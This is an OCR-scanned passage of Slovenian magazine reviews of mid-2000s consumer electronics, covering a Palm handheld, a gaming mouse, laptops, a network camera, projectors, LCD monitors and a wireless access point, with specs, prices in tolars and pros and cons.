&emur bi najverjetneje sledilo nedovoljeno raz-
mnoZevanje tako filmov kot iger, ki jih je mo¢
kupiti le na teh medijih. Sicer PSP obvlada tudi
pomnilnisko kartico MemoryStick Duo, vendar
je njen namen bolj shranjevanje stanj in uporab-
nikovih podatkov. PSP ima avtonomijo skoraj
tri ure, ter velik 11-centimetrski zaslon, ki je
zmo¥en prikazati 16,77 milijona barv, zaradi kon-
trasta je prekrit s temnim steklom. Stereo zvok
je odli¢en, krmiljenje pa tudi. Ceprav je to pr-
venstveno igralna konzola, ima tudi brezZi¢no
povezavo in prek nameS¢enega internetnega
brskalnika je mo¢ tudi popolnoma uporabno br-
skati po spletnih straneh (po prevelikih spletnih
straneh se je treba premikati po kosih).

PRGTI: Napravica je elegantna, in &eprav
ima priloZeno torbico, se vse prehitro naberejo
praske in tudi sicer ne deluje dovolj robustno za
danagnje najstnike. Vpisovanje &rk s premika-
njem izbirnika po tipkovnici na zaslonu je mu¢no
in pocasno (izbira spletnega naslova ali recimo
vpisovanje nastavitev za wi-fi). Najve&jo grajo
pa si zasluZi zaslon, saj ne le na soncu, temve& ob
povsem povpre¢ni dnevni svetlobi slike ve¢ ne
vidimo. PSP bo torej pomagal nase otroke, par-
don, zombije zadr¥evati v temi. Mimogrede, igre
in filmi za to konzolo so »svinjsko« dragi! JM
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dlancnik

Palm
LifeDrive

Skupna ocena:

Razmerje cena/kakovost:

Informacije: CHS, d.o.0., Ljubljana

Spletni naslov: www.palm.com

Cena: 119.880 SIT
Procesor: Intel XScale PXA270, 416 MHz
Pomnilnik: 165 MB (sistem) in 3,8 GB (uporabnik)
Zaslon: 3,8-palcni TFT, 320 x 480 pik (VGA), 65.536
barv, obé&utljiv na dotik
Razsiritvene reze: PomnilniSka kartica SD
Komunikacija: Wi-Fi (802.11b), Bluetooth (1.1), IrDA
Drugo: Mikrofon, zvoénik
Mere: 120 x 73 x 19 mm, 193 g
Baterija: 1660 mAh, Li ion
Garancija: 2 leti
Operacijski sistem: PalmOS 5.4 Garnet

ZA: Ohigje je kompaktno, a malce debelejse
od predhodnikov. Barvni zaslon je odli¢en, sve-
tel in kontrasten ter odli¢no viden predvsem
v temi, dokaj dobro pa tudi na son¢ni svetlobi.
Vsi, ki Palm %e poznajo, se bodo hitro pocuti-
li doma, nekaj novih funkcij, kot je zaklep za-
slona (senzorja dotika), pa $e izboljsa izkusnjo.
LifeDrive imenujejo tudi mobilni upravitelj, saj
naj bi z vdelanim 4 GB diskom ponujal dovolj
prostora za prenasanje in upravljanje z vsemi tipi
medijskih zapisov od slik, filmov do zvo&nih za-
pisov ter seveda raznih pisarnigkih dokumentov.
Vse aplikacije so tu, popolna pa je tudi podpora
delu z dokumenti Microsoftovega Officea. Po-
hvaliti velja odli¢no podporo brezZi¢nemu po-
vezovanju prek wi-fija in bluetootha. Sinhroni-
zacija med PC-jem in LifeDrivom je izboljsana
in ohranja tudi strukturo prenesenih datotek.
QOdli¢en snemalnik zvoka, do katerega pridemo
s pritiskom na eno tipko, zagotavlja hitro sne-
manje, ko je to potrebno! Slike iz digitalnega fo-
toaparata lahko, &e uporablja SD-kartice, prene-
semo neposredno v LifeDrive. Re¥a za SD nudi
tudi raz§iritvene module, kot je recimo GPS-do-
datek. Prikazovanje slik in videa je odli¢no, v
dosegu domacega brezZi¢nega omre¥ja, pa smo
ufivali tudi ob poslusanju internetnega radia.

PHOTI: Palm LifeDrive je odli¢cen dlan¢nik,
ki pa ga Zal pestijo tefave, do katerih je Palm
brezbriZen %e dolga leta. Tako Palm e vedno ne
podpira Sumnikov oz. tujih jezikov in je treba
za reSitev tega poseCi po tretjih programih. Po-
hvalno je, da kupcem distributer CHS ponuja
dostop do tega programa brezplatno (Piloc).
Glede na dlan¢nike PocketPC smo v LifeDri-
veu pogresali vdelano kamero. Razo¢arani smo
nad kakovostjo predvajanja datotek MP3, saj
je zvok Sume¢. Tudi litijeva baterija je v dlan¢-
nik vdelana in je ni mo& menjati. Zal progra-
ma, prenesenega iz interneta, ni moc¢ namestiti
neposredno v LifeDrive, temved names€anje
poteka vedno prek PC-ja. JM

igriCarska laserska mig

Logitech G5

Skupna ocena:
Razmerje cena/kakovost:
Informacije: I1ZID, d.o.0.
Spletni naslov: www.logitech.com

Cena: 18.850 SIT

Vmesnik: USB

Opticni senzor: Ne

Laserski senzor: Da

Brezzicna povezava: Ne

Stevilo pogramirljivih tipk: 6

Loéljivost senzorja: 2000 dpi

Potrebna posebna podlaga: Ne

ZA: Ko smo bili % prepric¢ani, da so miske
dosegle raven, kjer je odkrito e vse in kjer si
novega razvoja ne moremo ve obetati, nas je
Logitech ponovno presenetil kot strela z jasnega.
S predstavitvijo nove druZine misk za igricarje,
imenovane G (gaming), so predstavili nekaj no-
vosti, o katerih se obi¢ajnemu uporabniku sploh
ne sanja. G5 gradi na laserskem senzorju ki je
zmo¥en obdelati 6,4 megapike na sekundo in
pravilno opisati premikanje do pospeskov 20 g.
Pomembno je poudariti, da je Logitech skoraj
pol leta pre¥ivel z najzahtevnej$imi igricarji po
svetu — sponzoriral kar nekaj prireditev »LAN
party« ter tako priSel do ¥elja in kritik tistih z
najvec izkuSen;j. Najprej je treba pohvaliti obli-
ko, ki sicer gradi na seriji MX, a jo v posameznih
detajlih dale¢ prese¥e. Zgornja ploskev, imitacija
kovine je ro¢no obdelana, kar pomeni, da niti
dve migki nista povsem enaki. Preostali plasti¢-
ni del ohisja, kjer ponavadi misko drfimo oz. jo
vodimo, je namesto gladke plastike presel v fini
raster, ki preprecuje zdrsavanje Se tako potnih
rok. V spodnjem delu miske je prostor za majhno
kaseto, ki jo lahko napolnimo z osmimi ute?mi,
kar omogoca posamezniku, da si uravnoteZenost
miske prilagodi svojim potrebam in Zeljam. Drs-
na podlaga, kjer je miska v stiku z mizo, uporab-
lja nove materiale, ki so glede na predhodnike
superdrsni in miska resni¢no kar leti po mizi.
Sredinski koled¢ek je mo¢ premikati tudi levo
in desno ter tako hitro premikati vsebino v pre-
majhnem oknu ... Hkrati je sredinski koles¢ek
na Zeljo igiricarjev trsi, tako za vrtenje kot pri-
tiskanje ob dvakratnem kliku. Miska omogota
dinami¢no prilagajanje lo¢ljivosti med igranjem.
Kabel za priklop miske je odet v pletenico in Se

doda k dobremu obcutku.

PROTI: Miska ima le 6 programitljivih gum-

bov in le vmesnik USB. Cena je visoka. JM



PREIZKUSILI SMO ...

prenosni racunalnik

Toshiba
Qosmio
F10-136

Razmerje cena/kakovost: EEEEEEEEEN
Informacije: INEA, d.o.0., Ljubljana

Spletni naslov: www.toshiba.com

Cena: 488.592 SIT

Procesor: Intel Pentium M 735; Dothan 1.7 GHz
Pomnilnik: 512 MB DDR; PC2700, 333 MHz

Trdi disk: 80 GB

Vdelane pomnilniske enote: DVD+-RW/CD-RW

Zaslon: 15,4”, 1280 x 800 pik

Graficna kartica: Nvidia GeForce FX Go5700, 128 MB
Vmesniki: VGA, digitalni video izhod (D-video), 4 x
USB 2.0, 56K modem, 10/100 LAN, avdio, PC Card
tip II, bralnik pomnilniskih kartic 5v1, Wi-Fi 802.11b/
g, S-Video vhod in izhod, 1x Dolby AC3 digitalni
izhod (S/P DIF), 1x vhod za anteno, Bluetooth v1.2;
i.LINK (IEEE 1394), stereo zvocniki

Delovanje baterij: 2:20; BatteryMark

Mere in masa: 373 x 285 x 43 mm, 3,77 kg
Programska oprema: Windows XP Home, MS OneNote
2003, Norton Internet Security Suite, QosmioPlayer
Dodatno: Daljinski upravljalnik MCE

ZA: Novinec iz Toshibinih vrst je nekaj poseb-
nega ¥e na prvi pogled. Izstopajo te¥a in mere pre-
nosnika, hkrati pa ob nadpovpre¢ni avtonomiji za
ta razred Qosmio F10 odkrito meri na domade upo-
rabnike, ki kupujejo prenosnik kot nadomestek za
namizni ra¢unalnik. Posebnosti se ne nehajo, saj
Qosmio prinasa $e multimedijski center, zabavis¢-
ni PC v malem, dostop do tega je prek funkcije
QosmioPlayer mo%en tudi ob ugasnjenem racunal-
niku. S pritiskom na gumb se prenosnik v trenutku
spremeni v TV, prek vdelanega TV-sprejemnika
ponuja gledanje televizije in predvajanje DVD-fil-
ma, ima tudi vhode za priklop kamere in igralne
konzole, ne manjka pa niti digitalni video izhod
... Slika na 15,4-pal¢nem zaslonu s stranicami raz-
merja 16 : 10 je odli¢na, saj tehnologija Clear Su-
perView s podvojeno osvetlitvijo zaslona dosega
svetilnost 600 cd/m?. Tudi nabora tehnologij za
izboljgavo prikaza videa (odstranjuje sledi, preple-
tanje in Sum, izbolj§uje kontrast, barve in ostrino,
meh&a robove), zavitega v ime QosmioEngine, se
ne bi branili niti najzmogljivej§i LCD-televizorji.
Dodatna prednost prenosnika je $e mo¢na grafika
GeForce Go5700, vhod in izhod S-video pa bodo
cenili vsi, ki se bodo lotili domace videomontaZe.
Ravnodusnost odpravljajo tudi zvo¢niki Harman
Kardon s tehnologijo prostorskega zvoka SRS.
Prenosnik ima odli¢no ¥e name3¢eno upravljavsko
programsko opremo s sistemskimi, varnostnimi in
optimirnimi orodji.

PROTI: Tipkovnica bi bila lahko zavoljo
obilice prostora manj stisnjena v sredino. Ce-
prav je kontrast zaslona zavoljo blestetega pre-
maza povecan, se tudi odboji svetlobe na zaslo-
nu na ta racun povecajo. JM

tablicni prenosni racunalnik

Lenovo
ThinkPad
X41 tablet

Razmerje cena/kakovost: |

Informacije: Lenovo Slovenija, d.o.0., Ljubljana
Spletni naslov: www.lenovo.com

Cena: 692.484 SIT

Procesor: Intel Pentium M 758, 1.5 GHz

Pomnilnik: 512 MB DDR; PC2700, 333 MHz

Trdi disk: 60 GB

Videlane pomnilniSke enote: Bralnik pomnilniskih kartic SD
Zaslon: 12,1, 1024 x 768 pik

Graficna kartica: Intel 915 GM, 128 MB

Vmesniki: VGA, 3 x USB 2.0, 56K modem, 10/100/
1000 LAN, mikrofon, PCMCIA, Wi-Fi 802.11a/b/g,
zvocniki, Bluetooth 1.2

Delovanje baterij: 3:30; BatteryMark

Mere in masa: 274 x 242 x 33 mm, 1,61 kg
Programska oprema: Windows XP Pro Tablet edition

ZA: ThinkPad X41 tablet je prvi izdelek, ki ga
je novo podjetje predstavilo pod imenom Lenovo,
Ceprav Se vedno nosi tudi napisa IBM in Think-
Pad. V razred ultralahkih prenosnikov se X41 Ta-
blet uvri¢a s svojimi 1,61 kilograma ter 3,5 ure av-
tonomije z osnovno 4-celi¢no baterijo. Prenosnik
ohranja vse prednosti tehnologije Think Vantage,
vdelan ima bralnik prstnih odtisov, aktivni sistem
varovanja trdega diska (senzor gibanja izklopi trdi
disk pri pospeSenem premiku oz. padcu) ... Hkrati
je to prvi tabli¢ni ra¢unalnik iz druZine Think-
Pad in, roko na stce, tabli¢ni del se z moZnostjo
hitrega bele¥enja, skiciranja in komentiranja oz.
popravljanja dokumentov izkaZe za izjemno kori-
sten in uporaben. Odli¢en zaslon, ki je svetel in
ima velik vidni kot, lahko zavrtimo okoli osi in
tako izbiramo med prenosnikom oz. tablico. Tip-
kovnica ni ni¢ manjsa, kot smo sicer vajeni iz setije
X. Pohvaliti velja komunikacijski del, saj imamo
gigabitni ethernet, brezZi¢ni vmesnik 802.11a/b/g
ter vmesnik bluetooth. Z dodatnimi baterijami se
lahko prenosniku podalj$a avtonomija tudi preko
10 ur. Preizkuseni komplet je vseboval ve&jo 8-ce-
li¢no baterijo (5,5 h) ter priklopno postajo z vde-
lanim CDRW/DVD-bralnikom (%al ne tudi DVD-
zapisovalnikom). Odliko si spet zasluZi zaokrofena
in popolna programska podpora prenosnika, ki
naslavlja varnost, zai¢ito in produktivnost v celo-
tnem Zivljenjskem ciklu.

PROTI: Dodatne baterije zelo hitro ve&ajo
tudi skupno te¥o prenosnika. Pogresali smo do-
datno programsko opremo, recimo One Note.
Integrirana Intelova grafi¢na kartica %al ne bo
kos grafi¢no zahtevnej$im nalogam ali novej§im
igram, a seveda prenosnik temu ni namenjen.
Novi ThinkPad je oblikovno zelo resen in tudi
za poslovneZe preved enolien in pust. Konku-
renca je tudi v ultraprenosnem razredu zmo#na v
prenosnik vdelati opti¢no enoto. Morda je cena
za ponujeno malce previsoka. JM

prenosni racunalnik

HP
Compaqg
nx6125

Razmerje cena/kakovost: EEEEEEEEEEN
Informacije: HP Slovenija, Ljubljana

Spletni naslov: www.hp.com

Cena: 280.000 SIT

Procesor: AMD Turion 64 Mobile, 2,2 GHz
Pomnilnik: DDR SDRAM, 512

Trdi disk: 60 GB

Vdelane pomnilniSke enote: DVD+-RW, bralnik
pomnilniskih kartic 6v1

Zaslon: 15-palcni SXGA+, 1400 x 1050 pik
Graficna kartica: ATl Mobility Radeon X300
Vmesniki: 3x USB 2.0, VGA, izhod/vhod za zvok,
1394, RJ-11, RJ-45, S-video TV-izhod,

56 K modem; gigabitni Ethernet, PCMCIA,
ExpressCard, 802.11a/b/g, vmesnik Bluetooth
Delovanje baterij: 2:30; BatteryMark

Mere: 328 x 267 x 31 mm, 2,72 kg

ZA: Podjetje HP je predstavilo nov prenos-
nik, ki uporablja nov mobilni procesor AMD
Turion 64, z 1 MB vgrajenega hitrega drugosto-
penjskega predpomnilnika. Glede zmogljivosti
in porabe energije se procesor uvri¢a malce pod
tehnologijo Intel Centrino. Prenosnik gradi
na veznem naboru ATI PCI Express Radeon
XPRESS 200M in ponuja visoko zmogljivost
vodila PCI Express. Vdelani je grafi¢ni pospe-
Sevalnik PCI Express ATI Mobility Radeon
X300. Za varnost je poskrbljeno z biometri¢-
nim bralnikom prstnih odtisov, ki zagotavlja,
da nepooblas&eni ne bodo mogli brati podatkov
s trdega diska. Glede varnosti in zmogljivosti
je dobro poskrbljeno saj priloZeni pripomocki
in orodja, med njimi HP ProtectTools in HP
DriveLock, pokrivajo celoten spekter upora-
be. Prav bo priSel tudi vgrajen bralnik pamet-
nih kartic. Prenosnik ima tudi novo ohisje, ki
tehta zgolj 2,72 kg kljub 15-pal¢nemu zaslonu.
Tipkovnica pa je odporna na razlitje teko&in.
Dodatno vrednost nudijo tudi komunikacijske
zmoznosti, saj sta vgrajena brez#i¢ni vmesnik
802.11b/g ter adapter bluetooth. Dve radijski
anteni sta vgrajeni v zaslon racunalnika. Cena
prenosnika je Se toliko sprejemljivejsa, ker so
uporabili procesor AMD Turion namesto Cele-
rona, ki je nekoliko dra%ji in manj zmogljiv.

PROTL: Graficna kartica ATI Mobility
Radeon Express 200M si deli 128 MB sistem-
skega pomnilnika, kar je treba upostevati ob
nakupu. Morda je bolje kupiti %e v osnovi ne-
koliko vet pomnilnika. M$
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PREIZKUSILI SMO ...

omrezna videokamera

LevelOne
FGS-1030

Razmerje cena/kakovost: EEEEEEEEEN

Informacije: Digital Data Comunications d.o.0., Ljubljana
Spletni naslov: www.leveli.com
Cena: 42.000 SIT

Tehnicni podatki

Loéljivost: 640 x 480

Vmesniki: Ethernet 10/100BaseT

Pomnilnik: 16 MB

Format zajema: MPEG 4

Drugo: Napajalnik, stojalo za montazo, detektor
gibanja, mikrofon.

ZA: Omre?ne IP-kamere so se razvile s trga,
ki so ga oblikovali napredni uporabniki spletnih
kamer. Omrene kamere so tako po tehni¢nih
specifikacijah le kan&ek nad spletnimi, vendar
pa se razlikujejo po vmesniku, ki je skoraj vedno
ethernet, ponekod pa je na voljo Se brez¥i¢na
povezava. Tudi LevelOne FCS 1030 je klasi¢na
omre?na kamera, primerna za video nadzor doma
ali pisarne. Omogota zajem 30 slik na sekundo
pri lo¢ljivostih 160 x 120 in 320 x 240 ter 10
slik na sekundo pri polni lo¢ljivosti 640 x 480. Za
kodiranje uporablja videokamera kodek MPEG
4, Poleg videa kamera zajema tudi zvok, ki ga zna
tudi zelo uspe$no sinhronizirati s sliko. Dostop
do kamere je moZen prek spletnega vmesnika ali
posebnega programa LevelOne, ki je kameri tudi
priloZen in omogoca zajemanje in nadziranje z
do 16 kamer hkrati. Kamera podpira 4x digitalni
zum, prek programa LevelOne pa je mo& dologiti
Se snemanje le pri zaznanem premikanju, lahko
pa v takem primeru nastavimo e obve$tanje
nadzornika ob dogodku prek e-po§tnega sporodi-
la. Prav tako lahko program signale vseh kamer
shranjuje neposredno na trdi disk ali pa dolo¢i le
zajem posameznih posnetkov na &asovni inter-
val. Kamera ima ethernetni vmesnik 10/100 in
vhod za napajanje. Namestitev kamere je pre-
prosta, prilofeni program jo poisée v omreZju in
%e se lahko povefemo v spletni strernik, vdelan
v kamero. Kamera pozna celo dinami¢ni DNS,
s ¢imer lahko do nje z vedno istim domenskim
naslovom pridemo tudi prek ADSL-linij.

PROTI: Napajalnik ima le dober meter in pol
dolg kabel, kar je lahko problemati¢no, ¢e hoce-
mo kamero namestiti na visje mesto, od koder bi
pokrivala vedji kot. Kamera je primerna le za na-
mestitev v notranjosti prostorov, saj ni odporna
na vremenske vplive. Tudi lo¢ljivost in osveZitve
ka¥ejo, da gre za dokaj osnovni model. JM
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videoprojektor

Toshiba TDP-P75

Razmerje cena/kakovost: EEEEEEEEEN
Informacije: TIFT, d.o.0., Ljubljana

Spletni naslov: www.toshiba.com

Cena: 588.000 SIT

Tehnologija in loéljivost: XGA DPL, 1024 x 768
Svetilnost: 2300 ANSI-lumnov

Kontrast: 2000 : 1

Zivlienjska doba Zarnice: 2000 ur,

(3000 ur v ekonomiénem nacinu)

Umesniki: 1x kompozitni video, 1x S-Video, 1x D-Sub,
2x avdio (mini jack), izhod za monitor

Mere in teza: 245 x 86 x 183 mm; 1,9 kg

Daljinski upravljalnik: Z laserjem in miSko

Dodatno: Torbica

ZA: Toshibin novi projektor P75 je name-
njen prenosni rabi, saj s slabima dvema kilo-
gramoma in majhnimi merami (v torbici) kar
vabi k prenaSanju. Vendar ne pustite, da vas
majhnost zavede — projektor ima za ta razred
izredno visoko svetilnost, saj je slika tudi v
svetlem prostoru zelo kontrastna in svetla.
Reprodukcije barv so dobre. Projektor ponuja
uravnoteZenost kakovosti in funkcij, kjer med
drugim premore navpi¢no odpravo trapeznega
popalenja slike. Na razdalji dveh metrov je di-
agonala projekcijske slike dober meter in pol,
kar je za ta razred odli¢no. Projektor ima pre-
gledne in prijazne zaslonske menije, ostrino in
povedevanje pa je treba nastaviti ro¢no. Tudi
drugi gumbi so na ohisju razporejeni logi¢no in
so primerno oznadeni. Med delovanjem je pro-
jektor dokaj tih. Najvigja delovna lo¢ljivost je
do 1024 x 768, podprt je tudi prikaz slike 16 :
9, projektor pa podpira tudi vir PAL in NTSC,
celo HDT V-sliko zna brez te¥av prikazati (na-
&ini 1080i, 720p, 576i). Daljinski upravljalnik
ima laser, mo¢ pa ga je uporabljati tudi kot
brezfi¢no ra¢unalni¥ko migko. Projektor ima
vdelan zvocnik.

PHUTI: Pogresali smo vhod HDCP, cena
je sicer visoka, a na ravni konkurence v tem
razredu.

JM

videoprojektor

Toshiba TDP-TW300

Razmerje cena/kakovost: EEEEEEEEEN
Informacije: TIFT, d.o.o0., Ljubljana

Spletni naslov: www.toshiba.com

Cena: 948.000 SIT

Tehnologija in loéljivost: XGA 1x 0,7” DPL, 1024 x 768
Svetilnost: 3000 ANSIHumnov

Kontrast: 2000 : 1

Zivljenjska doba Zarnice: 2000 ur (3000 ur v
ekonomicnem nacinu)

Vmesniki: 1x kompozitni video in 1x komponentni
video (5x bnc),1x S-video, 1x D-sub, 1x DVI-I, 2x
RCA (stereo), 3x avdio in (mini jack)

Mere in teza: 340 x 115 x 329 mm; 4,9 kg

Daljinski upravljalnik: Z laserjem

Dodatno: Ethernetni prikljucek, brezzitna 802.11b/g
kartica, izhod za monitor, krmiljenje preko R§232,
prikaz dveh virov so¢asno (split screen), stereo
zvocnika 2 x 4 W, mo¢ Zarnice 300 W, torbica

ZA: Toshibin TDP-TW300 je osvefitev naj-
visjega kakovostnega razreda. Velik projektor je
namenjen rabi v velikih dvoranah, torej institu-
cionalni oz. poslovni rabi. Gradi na predhodniku
T250, s katerim si deli identi¢no ohigje in nekaj
konkurentom nepoznanih funkcij, kot je prikaz
dveh slik socasno (iz dveh virov), kjer se zaslon
bodisi razdeli na polovico bodisi je prikaz slike
v(na) sliki — kar odpira nove mo?nosti zanimive
rabe, recimo v olstvu ali pri predstavitvah ... Sli-
ko zna prikazati tudi prek Zi¢nega in brezZi¢nega
omreZja, ima moZnost projekcije na Solske table
(barvne podlage — projektor ustrezno kompenzira
in ustvari sliko pravih barv). Projektor ima vi-
soko zmogljivost tako kontrasta kot svetilnosti,
slika pa je bila na dveh metrih velika okoli 2 me-
tra, kar je odli¢en rezultat. Slika je izredno jasna
in svetla tudi ob svetlobno neugodnih razmerah,
barve so verne, naravne, za kar gre zasluga no-
vemu ¢ipu NCE. Opti¢na motorizirana povecava
do faktorja 1,5x je gladka, prav tako motorizira-
no pametno udenje. Projektor se s pritiskom na
gumb za enostavno nastavitev samodejno nasta-
vi, samodejno popravi trapezno popadenje slike
po visini, po $irini pa ga je treba ro¢no. Krmi-
ljenje projektorja je enostavno. Na zadnji strani
ima bogat nabor vmesnikov ter reo PCMCIA.
Prepri¢a tudi mno¥ica vhodov in izhodov. Zani-
miv je daljinski upravljalnik, ki lahko upravlja
$e funkcijo preproste ratunalniske miske in ima
vdelan izredno mo¢an laserski kazalnik.

PHUTl: Prav bi priSel vmesnik HDVI (za
HDTV). Cena je precej zasoljena, e zlasti ker so
na pohodu LED-projektorji, ki bi utegnili razmerja
moci in cene v vseh razredih kmalu zniZati. JM
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PREIZKUSILI SMO ...

LCD-monitor

NEC MuitiSync 2170NX

EEEEEEEEEE
Informacije: Acord-92, d.o.0., Ljubljana
Spletni naslov: www.nec-mitsubishi.com
Cena: 229.900 SIT
Velikost diagonale: 21,3 palcev
Loéljivost: 1600 x 1200 @ 60 Hz
Barvna globina: 16,77 milijona barv
Zorni kot: 176 stopinj vodoravno, 176 stopinj navpic¢no
Svetilnost: 300 cd/m?
Kontrastno razmerje: 900 : 1
OsveZevanje: PVA, 8 ms
Umesniki in prikljuéki: D-Sub, DVI-I, DVI-D,
USB-zvezdisce

Razmerje cena/kakovost:

ZA: Monitor NEC 2170NX je najnovejsi in
hkrati tudi najve&ji predstavnik drufine NX, ki
s kakovostjo meri na mnoZi¢nej§i potrosniski
trg, ki ga sicer bolj specializirani zasloni NEC
prej cenovno niso naslavljali. Zaslon se nav-
kljub 21,3 palca diagonale na mizi zdi manjsi,
za kar se gre verjetno zahvaliti prijetnemu ohisju
v kombinaciji ¢rne barve in tankega srebrnega
okvirja zaslona spredaj. Gumbi so kot vsi v seriji
NX neopazno postavljeni v spodnji del zaslona.
Za ergonomijo je poskrbljeno, saj se monitor na-
stavlja tako po vi§ini kot po navpi¢nem kotu,
enostavno pa ga je mo¢ tudi obracati levo in
desno. Napajalnik je vdelan v zaslon. Zaslon
omogoda prikljuéek tako prek analognega kot
digitalnega vmesnika DVI. UravnoteZenje sli-
ke je samodejno, brez potrebe po nastavljanju
uporabnika, mo¥no pa je tudi ro&no nastavljanje
temperature barv. Zaslon podpira paleto sSRGB
in barve so odli¢ne. Matrika z deklariranim
Casom osveZevanje 8 ms je dovolj hitra za gle-
danje filmov in igranje hitrih iger. Brez nadalj-
njega lahko priznamo, da je razvoj matrik PVA
v zadnjem letu dosegel preboj, saj sta tako &as
osveZevanja kot barvna predstavitev odli¢na!
Funkcija Dynamic Visual Mode (DV) omogo¢a
uporabniku hitre preklope med barvnimi profi-
li, namenjenimi igram, videu in slikam — mo¥ne
pa so tudi uporabnikove nastavitve.

PROTI: 71 monitorja ni mo¢ zasukati v po-
konéen poloZaj. Vidni kot je sicer dober, a bi bil
lahko boljsi — %e pri vodoravnem kotu 45 stopinj
barve zbledijo. Pogresali smo NEC-ovo tehno-
logijo za samodejno prilagajanje kontrasta in
svetilnosti delovnim razmeram. USB-zvezdiste
ponuja le dvoje vrat. JM
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LCD-monitor

NEC MultiSync 2070NX

|

Razmerje cena/kakovost: ENEEEEEEEN
Informacije: Acord-92, d.o.0., Ljubljana

Spletni naslov: www.nec-mitsubishi.com

Cena: 209.900 SIT

Velikost diagonale: 20 palcev

Loéljivost: 1600 x 1200 @ 60 Hz

Barvna globina: 16,77 milijona barv

Zorni kot: 176 stopinj vodoravno, 176 stopinj navpi¢no
Svetilnost: 250 cd/m?

Kontrastno razmerje: S-IPS, 700 : 1

OsveZevanje: 16 ms

Vmesniki in prikljucki: D-Sub, DVI, USB-zvezdiSce

ZA: Srednji izmed velikanov, NEC 2070NX,
je na videz sicer podoben ve&jemu bratu, vendar
gre v bistvu za povsem drug zaslon. Ta namred
gradi na matriki S-IPS, ki z deklariranim ¢asom
osveZevanja sicer dosega 16 ms, a je teh 16 ms
skoraj konstantnih v vseh barvnih in sivinskih
prehodih. Zaslon se lahko pohvali z odli¢nim
vidnim kotom, ki je, eprav na papirju enak kot
pri 2170NX, v resnici $e bolji. Monitor je podo-
bno ergonomsko oblikovan, testni model pa je
bil odet v klasi¢no belo oz. be? barvo. Menijski
sistem in krmilni gumbi so enaki kot pri ve&jem
bratu in vseh zaslonih razreda NX. Enako je tudi
zZ ergonomijo, monitor se nastavlja po visini, po
navpi¢nem kotu ... Tudi tu je napajalnik vdelan
v zaslon, poleg tega pa je tu USB-zvezdiice s
prikljucki za naprave. Monitor omogo&a priklop
prek analognega in digitalnega vmesnika DVI.
Slika je dobra, svetla in barve so odli¢ne. Pri
analognem priklopu tehnologija NTAA samo-
dejno nastavi optimalno sliko. Seveda je pod-
prta tudi paleta SRGB, ki razgirja koli¢ino prika-
zanih barv in omogo&a enostavnejso uskladitev
barvnih tonov med razli¢nimi napravami. Za-
slon podpira DV, Te#av pri interpolaciji v ni%ji
lo¢ljivosti nismo zaznali. Zaslon je zaradi verne
predstave barv zanimiv za oblikovalce, zaradi hi-
trosti in stalnosti osve¥evanja pa tudi za igralce
in filmofile.

PROTI: 71 monitorja ni mo¢ zasukati v po-
konéen poloZaj. Pogresali smo NEC-ovo teh-
nologijo za samodejno prilagajanje kontrasta
in svetilnosti na delovne razmere. Razpon med
zelo svetlimi in zelo temnimi toni na isti sliki bi
bil lahko boljsi, nekatere druge tehnologije ma-
trike S-IPS %e prehitevajo pri kontrastu .... JM

LCD-monitor
\-.

Samsung

Skupna ocena:

Razmerje cena/kakovost:
Informacije: Avtera, d.d., Ljubljana
Spletni naslov: www.samsung.com
Cena: 129.900 SIT

Tehnicni podatki

Velikost diagonale: 19 palcev

Loéljivost: 1280 x 1024 @ 60 Hz

Barvna globina: 16,7 milijona barv

Zorni kot: 178 stopinj vodoravno, 178 stopinj
navpicno

Svetilnost: 250 cd/m?

Kontrastno razmerje: 1000 : 1

OsveZevanje: PVA, 8 ms

Vmesniki in prikljuéki: D-Sub, DVI-D

ZA: Nedavno je Samsung v svoji profesio-
nalni liniji LCD-monitorjev predstavil osveZen
model 193P plus, ki je na videz podoben izvir-
niku 193P (stojalo zaslona je spremenjeno), a
se ponasa z drugo LCD-matriko. Vsekakor gre
za trenutno Samsungov najboljsi model. Poleg
ergonomije in videza — treba je priznati, da gre
za enega najlepsih zaslonov —zaslon tudi funk-
cionalno in kakovostno izstopa. Vsi prikljucki
so skriti v spodnjem delu zadnje strani stoja-
la, kar bo zmanjsalo Strlenje kablov. Monitor
je mo¢ obracati v vse smeri, moZen je tudi
zasuk v pokon&en poloZaj. Mot ga je pritrdi-
ti tudi na steno, celo konzola je Ze priloZena.
Gumb za vklop je obcutljiv na dotik. Drugih
gumbov na monitorju ni, saj se zaslon upravlja
kar s programom MagicTune. To je po svoje za
uporabnika tudi preprosteje, vendar smo ome-
jeni na operacijski sistem Windows. V zaslon
je vdelana tudi tehnologija MagicBright II, ki
optimira sliko za razli¢na opravila. Prikazana
slika ima Zive barve, dobra pa so tudi razmerja
med svetlimi in temnimi toni na isti sliki. Od-
zivni ¢as 8 ms zadovolji tako igralce kot u%i-
valce ob filmskem programu. Barve in svetlost
so razporejene enakomerno. Zaslon ima dober
vidni kot.

PROTI: Bodite pozorni, da pomotoma ne
kupite starejSega modela 193P. Monitorju za-
merimo, da je zmo¥nost nastavljanja po visini
dokaj omejena Ceprav je cena modela 193P+
dokaj visoka, pa pada,in $e bo, saj je Samsung
e napovedal naslednika, 194T. Ta bo prinesel
izboljsave predvsem pri kontrastnih razmerjih.
JM



PREIZKUSILI SMO ...

dostopna tocka

US Robotics .-

“Sso

MAXg

Skupna ocena: EEEEEEEEEN
EEEEEEEEEN

Razmerje cena/kakovost:
Informacije: CHS, d.o.o.
Spletni naslov: www.usr.com
Cena: Usmerjevalnik 20.700 SIT;
vmesnik USB 14.900 SIT

Tehnicni podatki

Frekvenca in hitrost: 2,4 GHz, 54 Mb/s

Podprti protokoli: IEEE 802.11g/802.11b

Nagini upravljanja: Spletni vmesnik

Dodatne funkeije: Povecanije hitrosti na 128 Mb/s,
MaxG povecanje dosega, WPA2 (802.11i),

Qos 802-11e

PriloZeno: Programska oprema, vmesnik za
namestitev, navodil

ZA: us Robotics, ki imamo vsi v dobrem
spominu kot enega najboljsih proizvajalcev
modemov, se je po porastu Sirokopasovnih po-
vezav interneta preusmeril v proizvodnjo vseh
vrst omre¥ne opreme. BrezZi¢na dostopna tocka
MAXg, model 5451, in brezZi¢ni USB-modul
MAXg, model 5421, z uporabo naprednega pro-
cesiranja radijskih signalov obljubljata 50 %
povecan domet in vi§je hitrosti prenaSanja po-
datkov. V ta namen uporabljata izbolj§an nacin
pospeSenega prenosa do 125 Mb/s (ter XPressov
54g+). Samo izboljsano procesiranje naj bi po-
vecalo ob&utljivost sprejemnega dela, ki naj bi iz
okolja s sumom bolje interpretiral $e bolj odda-
ljen brezzi¢ni signal. Normalna brezZi¢na omres-
na oprema pri poveéanem razmerju med signa-
lom in Sumom kaj hitro preklopi na po&asne;jso
prenosno hitrost, kjer pa po rezultatih naSega
